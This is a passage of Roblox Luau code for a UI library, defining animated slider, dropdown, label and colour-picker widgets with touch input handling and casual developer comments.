                    Text = "";
                    AutoButtonColor = false;
                    AnchorPoint = vec2(1, 0);
                    Parent = items[ "right_components" ];
                    Name = "\0";
                    Position = dim2(1, 0, 0, 0);
                    Size = dim2(1, -4, 0, 4);
                    BorderSizePixel = 0;
                    TextSize = 14;
                    BackgroundColor3 = rgb(33, 33, 35)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "slider" ];
                    CornerRadius = dim(0, 999)
                });
                
                items[ "fill" ] = library:create( "Frame" , {
                    Name = "\0";
                    Parent = items[ "slider" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0.5, 0, 0, 4);
                    BorderSizePixel = 0;
                    BackgroundColor3 = themes.preset.accent
                });  library:apply_theme(items[ "fill" ], "accent", "BackgroundColor3");
                
                library:create( "UICorner" , {
                    Parent = items[ "fill" ];
                    CornerRadius = dim(0, 999)
                });
                
                items[ "circle" ] = library:create( "Frame" , {
                    AnchorPoint = vec2(0.5, 0.5);
                    Parent = items[ "fill" ];
                    Name = "\0";
                    Position = dim2(1, 0, 0.5, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 12, 0, 12);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(244, 244, 244)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "circle" ];
                    CornerRadius = dim(0, 999)
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "right_components" ];
                    PaddingTop = dim(0, 4)
                });
                
                items[ "value" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "50%";
                    Parent = items[ "slider_object" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    Position = dim2(0, 6, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Right;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "value" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });                
            end 

            function cfg.changetext(text)
                items['name'].Text = text
            end 

            function cfg.set(value)
                cfg.value = clamp(library:round(value, cfg.intervals), cfg.min, cfg.max)

                library:tween(items[ "fill" ], {Size = dim2((cfg.value - cfg.min) / (cfg.max - cfg.min), cfg.value == cfg.min and 0 or -4, 0, 2)}, Enum.EasingStyle.Linear, 0.05)
                items[ "value" ].Text = tostring(cfg.value) .. cfg.suffix

                flags[cfg.flag] = cfg.value
                cfg.callback(flags[cfg.flag])
            end

            items[ "slider" ].InputBegan:Connect(function(Input)
                            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                cfg.dragging = true 
                library:tween(items[ "value" ], {TextColor3 = rgb(255, 255, 255)}, Enum.EasingStyle.Quad, 0.2)
            end)

            library:connection(uis.InputChanged, function(input)
                if cfg.dragging and input.UserInputType == Enum.UserInputType.Touch then 
                    local size_x = (input.Position.X - items[ "slider" ].AbsolutePosition.X) / items[ "slider" ].AbsoluteSize.X
                    local value = ((cfg.max - cfg.min) * size_x) + cfg.min
                    cfg.set(value)
                end
            end)

            library:connection(uis.InputEnded, function(input)
                if input.UserInputType == Enum.UserInputType.Touch then
                    cfg.dragging = false
                    library:tween(items[ "value" ], {TextColor3 = rgb(72, 72, 73)}, Enum.EasingStyle.Quad, 0.2) 
                end 
            end)

            if cfg.seperator then 
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end 

            cfg.set(cfg.default)
            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end 

        function library:dropdown(options) 
            local cfg = {
                name = options.name or nil;
                info = options.info or nil;
                flag = options.flag or library:next_flag();
                options = options.items or {""};
                callback = options.callback or function() end;
                multi = options.multi or false;
                scrolling = options.scrolling or false;

                width = options.width or 130;

                -- Ignore these 
                open = false;
                option_instances = {};
                multi_items = {};
                ignore = options.ignore or false;
                items = {};
                y_size;
                seperator = options.seperator or options.Seperator or true;
            }   

            cfg.default = options.default or (cfg.multi and {cfg.items[1]}) or cfg.items[1] or "None"
            flags[cfg.flag] = cfg.default

            local items = cfg.items; do 
                -- Element
                    items[ "dropdown_object" ] = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        Parent = self.items[ "elements" ];
                        Name = "\0";
                        BackgroundTransparency = 1;
                        Size = dim2(1, 0, 0, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.Y;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    items[ "name" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(245, 245, 245);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "Dropdown";
                        Parent = items[ "dropdown_object" ];
                        Name = "\0";
                        Size = dim2(1, 0, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    if cfg.info then 
                        items[ "info" ] = library:create( "TextLabel" , {
                            FontFace = fonts.small;
                            TextColor3 = rgb(130, 130, 130);
                            BorderColor3 = rgb(0, 0, 0);
                            TextWrapped = true;
                            Text = cfg.info;
                            Parent = items[ "dropdown_object" ];
                            Name = "\0";
                            Position = dim2(0, 5, 0, 17);
                            Size = dim2(1, -10, 0, 0);
                            BackgroundTransparency = 1;
                            TextXAlignment = Enum.TextXAlignment.Left;
                            BorderSizePixel = 0;
                            AutomaticSize = Enum.AutomaticSize.XY;
                            TextSize = 16;
                            BackgroundColor3 = rgb(255, 255, 255)
                        });
                    end 

                    library:create( "UIPadding" , {
                        Parent = items[ "name" ];
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });
                    
                    items[ "right_components" ] = library:create( "Frame" , {
                        Parent = items[ "dropdown_object" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIListLayout" , {
                        FillDirection = Enum.FillDirection.Horizontal;
                        HorizontalAlignment = Enum.HorizontalAlignment.Right;
                        Parent = items[ "right_components" ];
                        Padding = dim(0, 7);
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                    
                    items[ "dropdown" ] = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        AutoButtonColor = false;
                        AnchorPoint = vec2(1, 0);
                        Parent = items[ "right_components" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        Size = dim2(0, cfg.width, 0, 16);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(33, 33, 35)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "dropdown" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    items[ "sub_text" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(86, 86, 87);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "awdawdawdawdawdawdawdaw";
                        Parent = items[ "dropdown" ];
                        Name = "\0";
                        Size = dim2(1, -12, 0, 0);
                        BorderSizePixel = 0;
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        TextTruncate = Enum.TextTruncate.AtEnd;
                        AutomaticSize = Enum.AutomaticSize.Y;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        Parent = items[ "sub_text" ];
                        PaddingTop = dim(0, 1);
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });
                    
                    items[ "indicator" ] = library:create( "ImageLabel" , {
                        ImageColor3 = rgb(86, 86, 87);
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = items[ "dropdown" ];
                        AnchorPoint = vec2(1, 0.5);
                        Image = "rbxassetid://101025591575185";
                        BackgroundTransparency = 1;
                        Position = dim2(1, -5, 0.5, 0);
                        Name = "\0";
                        Size = dim2(0, 12, 0, 12);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                -- 

                -- Element Holder
                    items[ "dropdown_holder" ] = library:create( "Frame" , {
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = library[ "items" ];
                        Name = "\0";
                        Visible = true;
                        BackgroundTransparency = 1;
                        Size = dim2(0, 0, 0, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(0, 0, 0);
                        ZIndex = 10;
                    });
                    
                    items[ "outline" ] = library:create( "Frame" , {
                        Parent = items[ "dropdown_holder" ];
                        Size = dim2(1, 0, 1, 0);
                        ClipsDescendants = true;
                        BorderColor3 = rgb(0, 0, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(33, 33, 35);
                        ZIndex = 10;
                    });
                    
                    library:create( "UIPadding" , {
                        PaddingBottom = dim(0, 6);
                        PaddingTop = dim(0, 3);
                        PaddingLeft = dim(0, 3);
                        Parent = items[ "outline" ]
                    });
                    
                    library:create( "UIListLayout" , {
                        Parent = items[ "outline" ];
                        Padding = dim(0, 5);
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "outline" ];
                        CornerRadius = dim(0, 4)
                    });
                -- 
            end 

            function cfg.render_option(text)
                local button = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = text;
                    Parent = items[ "outline" ];
                    Name = "\0";
                    Size = dim2(1, -12, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255);
                    ZIndex = 10;
                }); library:apply_theme(button, "accent", "TextColor3");
                
                library:create( "UIPadding" , {
                    Parent = button;
                    PaddingTop = dim(0, 1);
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                return button
            end
            
            function cfg.set_visible(bool)
                local a = bool and cfg.y_size or 0
                library:tween(items[ "dropdown_holder" ], {Size = dim_offset(items[ "dropdown" ].AbsoluteSize.X, a)})

                items[ "dropdown_holder" ].Position = dim2(0, items[ "dropdown" ].AbsolutePosition.X, 0, items[ "dropdown" ].AbsolutePosition.Y + 80)
                if not (self.sanity and library.current_open == self) then 
                    library:close_element(cfg)
                end
            end
            
            function cfg.set(value)
                local selected = {}
                local isTable = type(value) == "table"

                for _, option in cfg.option_instances do 
                    if option.Text == value or (isTable and find(value, option.Text)) then 
                        insert(selected, option.Text)
                        cfg.multi_items = selected
                        option.TextColor3 = themes.preset.accent
                    else
                        option.TextColor3 = rgb(72, 72, 73)
                    end
                end

                items[ "sub_text" ].Text = isTable and concat(selected, ", ") or selected[1] or ""
                flags[cfg.flag] = isTable and selected or selected[1]
                
                cfg.callback(flags[cfg.flag]) 
            end
            
            function cfg.refresh_options(list) 
                cfg.y_size = 0

                for _, option in cfg.option_instances do 
                    option:Destroy() 
                end
                
                cfg.option_instances = {} 

                for _, option in list do 
                    local button = cfg.render_option(option)
                    cfg.y_size += button.AbsoluteSize.Y + 6 -- super annoying manual sizing but oh well
                    insert(cfg.option_instances, button)
                    
                    button.InputBegan:Connect(function(Input)
                            if Input.UserInputType ~= Enum.UserInputType.Touch then return end
                        if cfg.multi then 
                            local selected_index = find(cfg.multi_items, button.Text)
                            
                            if selected_index then 
                                remove(cfg.multi_items, selected_index)
                            else
                                insert(cfg.multi_items, button.Text)
                            end
                            
                            cfg.set(cfg.multi_items) 				
                        else 
                            cfg.set_visible(false)
                            cfg.open = false 
                            
                            cfg.set(button.Text)
                        end
                    end)
                end
            end

            items[ "dropdown" ].InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.Touch then
                    cfg.open = not cfg.open  
                    cfg.set_visible(cfg.open)
                end 
            end)

            if cfg.seperator then 
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end 

            flags[cfg.flag] = {} 
            config_flags[cfg.flag] = cfg.set
            
            cfg.refresh_options(cfg.options)
            cfg.set(cfg.default)
                
            return setmetatable(cfg, library)
        end

        function library:label(options)
            local cfg = {
                enabled = options.enabled or nil,
                name = options.name or "Toggle",
                seperator = options.seperator or options.Seperator or false;
                info = options.info or nil; 

                items = {};
            }

            local items = cfg.items; do 
                items[ "label" ] = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "label" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });

                if cfg.info then 
                    items[ "info" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(130, 130, 130);
                        BorderColor3 = rgb(0, 0, 0);
                        TextWrapped = true;
                        Text = cfg.info;
                        Parent = items[ "label" ];
                        Name = "\0";
                        Position = dim2(0, 5, 0, 17);
                        Size = dim2(1, -10, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                end 
                
                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                items[ "right_components" ] = library:create( "Frame" , {
                    Parent = items[ "label" ];
                    Name = "\0";
                    Position = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, 1, 0);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    FillDirection = Enum.FillDirection.Horizontal;
                    HorizontalAlignment = Enum.HorizontalAlignment.Right;
                    Parent = items[ "right_components" ];
                    Padding = dim(0, 9);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });                
            end 

            if cfg.seperator then 
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end 

            return setmetatable(cfg, library)
        end 
        
        function library:colorpicker(options) 
            local cfg = {
                name = options.name or "Color", 
                flag = options.flag or library:next_flag(),

                color = options.color or color(1, 1, 1), -- Default to white color if not provided
                alpha = options.alpha and 1 - options.alpha or 0,
                
                open = false, 
                callback = options.callback or function() end,
                items = {};

                seperator = options.seperator or options.Seperator or false;
            }

            local dragging_sat = false 
            local dragging_hue = false 
            local dragging_alpha = false 

            local h, s, v = cfg.color:ToHSV() 
            local a = cfg.alpha 

            flags[cfg.flag] = {Color = cfg.color, Transparency = cfg.alpha}

            local label; 
            if not self.items.right_components then 
                label = self:label({name = cfg.name, seperator = cfg.seperator})
            end

            local items = cfg.items; do 
                -- Component
                    items[ "colorpicker" ] = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        AutoButtonColor = false;
                        AnchorPoint = vec2(1, 0);
                        Parent = label and label.items.right_components or self.items[ "right_components" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        Size = dim2(0, 16, 0, 16);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(54, 31, 184)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "colorpicker" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    items[ "colorpicker_inline" ] = library:create( "Frame" , {
                        Parent = items[ "colorpicker" ];
                        Size = dim2(1, -2, 1, -2);
                        Name = "\0";
                        BorderMode = Enum.BorderMode.Inset;
                        BorderColor3 = rgb(0, 0, 0);
                        Position = dim2(0, 1, 0, 1);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(54, 31, 184)
                    });

                                    library:create( "UIScale" , {
                    Parent = items[ "colorpicker_inline" ];
                    Scale = scale;
                });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "colorpicker_inline" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
                        Parent = items[ "colorpicker_inline" ]
                    });         
                --
                
                -- Colorpicker
                    items[ "colorpicker_holder" ] = library:create( "Frame" , {
                        Parent = library[ "other" ];
                        Name = "\0";
                        Position = dim2(0.20000000298023224, 20, 0.296999990940094, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 166, 0, 197);
                        BorderSizePixel = 0;
                        Visible = true;
                        BackgroundColor3 = rgb(25, 25, 29)
                    });

                    items[ "colorpicker_fade" ] = library:create( "Frame" , {
                        Parent = items[ "colorpicker_holder" ];
                        Name = "\0";
                        BackgroundTransparency = 0;
                        Position = dim2(0, 0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        ZIndex = 100;
                        BackgroundColor3 = rgb(25, 25, 29)
                    });
                    
                    items[ "colorpicker_components" ] = library:create( "Frame" , {
                        Parent = items[ "colorpicker_holder" ];
                        Name = "\0";
                        Position = dim2(0, 1, 0, 1);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, -2, 1, -2);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(22, 22, 24)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "colorpicker_components" ];
                        CornerRadius = dim(0, 6)
                    });
                    
                    items[ "saturation_holder" ] = library:create( "Frame" , {
                        Parent = items[ "colorpicker_components" ];
                        Name = "\0";
                        Position = dim2(0, 7, 0, 7);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, -14, 1, -80);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 39, 39)
                    });
                    
                    items[ "sat" ] = library:create( "TextButton" , {
                        Parent = items[ "saturation_holder" ];
                        Name = "\0";
                        Size = dim2(1, 0, 1, 0);
                        Text = "";
                        AutoButtonColor = false;
                        BorderColor3 = rgb(0, 0, 0);
                        ZIndex = 2;
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "sat" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    library:create( "UIGradient" , {
                        Rotation = 270;
                        Transparency = numseq{numkey(0, 0), numkey(1, 1)};
                        Parent = items[ "sat" ];
                        Color = rgbseq{rgbkey(0, rgb(0, 0, 0)), rgbkey(1, rgb(0, 0, 0))}
                    });
                    
                    items[ "val" ] = library:create( "Frame" , {
                        Name = "\0";
                        Parent = items[ "saturation_holder" ];
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIGradient" , {
                        Parent = items[ "val" ];
                        Transparency = numseq{numkey(0, 0), numkey(1, 1)}
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "val" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "saturation_holder" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    items[ "satvalpicker" ] = library:create( "TextButton" , {
                        BorderColor3 = rgb(0, 0, 0);
                        AutoButtonColor = false;
                        Text = "";
                        AnchorPoint = vec2(0, 1);
                        Parent = items[ "saturation_holder" ];
                        Name = "\0";
                        Position = dim2(0, 0, 4, 0);
                        Size = dim2(0, 8, 0, 8);
                        ZIndex = 5;
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 0, 0)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "satvalpicker" ];
                        CornerRadius = dim(0, 9999)
                    });
                    
                    library:create( "UIStroke" , {
                        Color = rgb(255, 255, 255);
                        Parent = items[ "satvalpicker" ];
                        ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
                    });
                    
                    items[ "hue_gradient" ] = library:create( "TextButton" , {
                        Parent = items[ "colorpicker_components" ];
                        Name = "\0";
                        Position = dim2(0, 10, 1, -64);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, -20, 0, 8);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255);
                        AutoButtonColor = false;
                        Text = "";
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(255, 0, 0)), rgbkey(0.17, rgb(255, 255, 0)), rgbkey(0.33, rgb(0, 255, 0)), rgbkey(0.5, rgb(0, 255, 255)), rgbkey(0.67, rgb(0, 0, 255)), rgbkey(0.83, rgb(255, 0, 255)), rgbkey(1, rgb(255, 0, 0))};
                        Parent = items[ "hue_gradient" ]
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "hue_gradient" ];
                        CornerRadius = dim(0, 6)
                    });
                    
                    items[ "hue_picker" ] = library:create( "TextButton" , {
                        BorderColor3 = rgb(0, 0, 0);
                        AutoButtonColor = false;
                        Text = "";
                        AnchorPoint = vec2(0, 0.5);
                        Parent = items[ "hue_gradient" ];
                        Name = "\0";
                        Position = dim2(0, 0, 0.5, 0);
                        Size = dim2(0, 8, 0, 8);
                        ZIndex = 5;
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 0, 0)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "hue_picker" ];
                        CornerRadius = dim(0, 9999)
                    });
                    
                    library:create( "UIStroke" , {
                        Color = rgb(255, 255, 255);
                        Parent = items[ "hue_picker" ];
                        ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
                    });
                    
                    items[ "alpha_gradient" ] = library:create( "TextButton" , {
                        Parent = items[ "colorpicker_components" ];
                        Name = "\0";
                        Position = dim2(0, 10, 1, -46);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, -20, 0, 8);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(25, 25, 29);
                        AutoButtonColor = false;
                        Text = "";
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "alpha_gradient" ];
                        CornerRadius = dim(0, 6)
                    });
                    
                    items[ "alpha_picker" ] = library:create( "TextButton" , {
                        BorderColor3 = rgb(0, 0, 0);
                        AutoButtonColor = false;
                        Text = "";
                        AnchorPoint = vec2(0, 0.5);
                        Parent = items[ "alpha_gradient" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0.5, 0);
                        Size = dim2(0, 8, 0, 8);
                        ZIndex = 5;
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 0, 0)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "alpha_picker" ];
                        CornerRadius = dim(0, 9999)
                    });
                    
                    library:create( "UIStroke" , {
                        Color = rgb(255, 255, 255);
                        ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
                        Parent = items[ "alpha_picker" ]
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(0, 0, 0)), rgbkey(1, rgb(255, 255, 255))};
                        Parent = items[ "alpha_gradient" ]
                    });
                    
                    items[ "alpha_indicator" ] = library:create( "ImageLabel" , {
                        ScaleType = Enum.ScaleType.Tile;
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = items[ "alpha_gradient" ];
                        Image = "rbxassetid://18274452449";
                        BackgroundTransparency = 1;
                        Name = "\0";
                        Size = dim2(1, 0, 1, 0);
                        TileSize = dim2(0, 6, 0, 6);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(0, 0, 0)
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(112, 112, 112)), rgbkey(1, rgb(255, 0, 0))};
                        Transparency = numseq{numkey(0, 0.8062499761581421), numkey(1, 0)};
                        Parent = items[ "alpha_indicator" ]
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "alpha_indicator" ];
                        CornerRadius = dim(0, 6)
                    });
                    
                    library:create( "UIGradient" , {
                        Rotation = 90;
                        Parent = items[ "colorpicker_components" ];
                        Color = rgbseq{rgbkey(0, rgb(255, 255, 255)), rgbkey(1, rgb(66, 66, 66))}
                    });

                    items[ "input" ] = library:create( "TextBox" , {
                        FontFace = fonts.font;
                        AnchorPoint = vec2(1, 1);
                        Text = "";
                        Parent = items[ "colorpicker_components" ];
                        Name = "\0";
                        TextTruncate = Enum.TextTruncate.AtEnd;
                        BorderSizePixel = 0;
                        PlaceholderColor3 = rgb(255, 255, 255);
                        CursorPosition = -1;
                        ClearTextOnFocus = false;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255);
                        TextColor3 = rgb(72, 72, 72);
                        BorderColor3 = rgb(0, 0, 0);
                        Position = dim2(1, -8, 1, -11);
                        Size = dim2(1, -16, 0, 18);
                        BackgroundColor3 = rgb(33, 33, 35)
                    }); 
                    
                    library:create( "UICorner" , {
                        Parent = items[ "input" ];
                        CornerRadius = dim(0, 3)
                    });
                    
                    items[ "UICorenr" ] = library:create( "UICorner" , { -- fire misstypo (im not fixing this RAWR)
                        Parent = items[ "colorpicker_holder" ];
                        Name = "\0";
                        CornerRadius = dim(0, 4)
                    });
                --                  
            end;

            function cfg.set_visible(bool)
                items[ "colorpicker_fade" ].BackgroundTransparency = 0
                items[ "colorpicker_holder" ].Parent = bool and library[ "items" ] or library[ "other" ]
                items[ "colorpicker_holder" ].Position = dim_offset(items[ "colorpicker" ].AbsolutePosition.X, items[ "colorpicker" ].AbsolutePosition.Y + items[ "colorpicker" ].AbsoluteSize.Y + 45)

                library:tween(items[ "colorpicker_fade" ], {BackgroundTransparency = 1}, Enum.EasingStyle.Quad, 0.4)
                library:tween(items[ "colorpicker_holder" ], {Position = items[ "colorpicker_holder" ].Position + dim_offset(0, 20)}) -- p100 check
                
                if not (self.sanity and library.current_open == self and self.open) then 
                    library:close_element(cfg)
                end
            end

            function cfg.set(color, alpha)
                if type(color) == "boolean" then 
                    return
                end 

                if color then 
                    h, s, v = color:ToHSV()
                end
                
                if alpha then 
                    a = alpha
                end 
                
                local Color = hsv(h, s, v)

                -- Ok so quick story, should I cache any of this? no...?? anyways I know this code is very bad but its your fault for buying a ui with animations (on a serious note im too lazy to make this look nice)
                -- Also further note, yeah I kind of did this scale_factor * size-valuesize.plane because then I would have to do tomfoolery to make it clip properly.
                library:tween(items[ "hue_picker" ], {Position = dim2(0, (items[ "hue_gradient" ].AbsoluteSize.X - items[ "hue_picker" ].AbsoluteSize.X) * h, 0.5, 0)}, Enum.EasingStyle.Linear, 0.05)
                library:tween(items[ "alpha_picker" ], {Position = dim2(0, (items[ "alpha_gradient" ].AbsoluteSize.X - items[ "alpha_picker" ].AbsoluteSize.X) * (1 - a), 0.5, 0)}, Enum.EasingStyle.Linear, 0.05)
                library:tween(items[ "satvalpicker" ], {Position = dim2(0, s * (items[ "saturation_holder" ].AbsoluteSize.X - items[ "satvalpicker" ].AbsoluteSize.X), 1, 1 - v * (items[ "saturation_holder" ].AbsoluteSize.Y - items[ "satvalpicker" ].AbsoluteSize.Y))}, Enum.EasingStyle.Linear, 0.05)

                items[ "alpha_indicator" ]:FindFirstChildOfClass("UIGradient").Color = rgbseq{rgbkey(0, rgb(112, 112, 112)), rgbkey(1, hsv(h, 1, 1))}; -- shit code
                
                items[ "colorpicker" ].BackgroundColor3 = Color
                items[ "colorpicker_inline" ].BackgroundColor3 = Color
                items[ "saturation_holder" ].BackgroundColor3 = hsv(h, 1, 1)

                items[ "hue_picker" ].BackgroundColor3 = hsv(h, 1, 1)
                items[ "alpha_picker" ].BackgroundColor3 = hsv(h, 1, 1 - a)
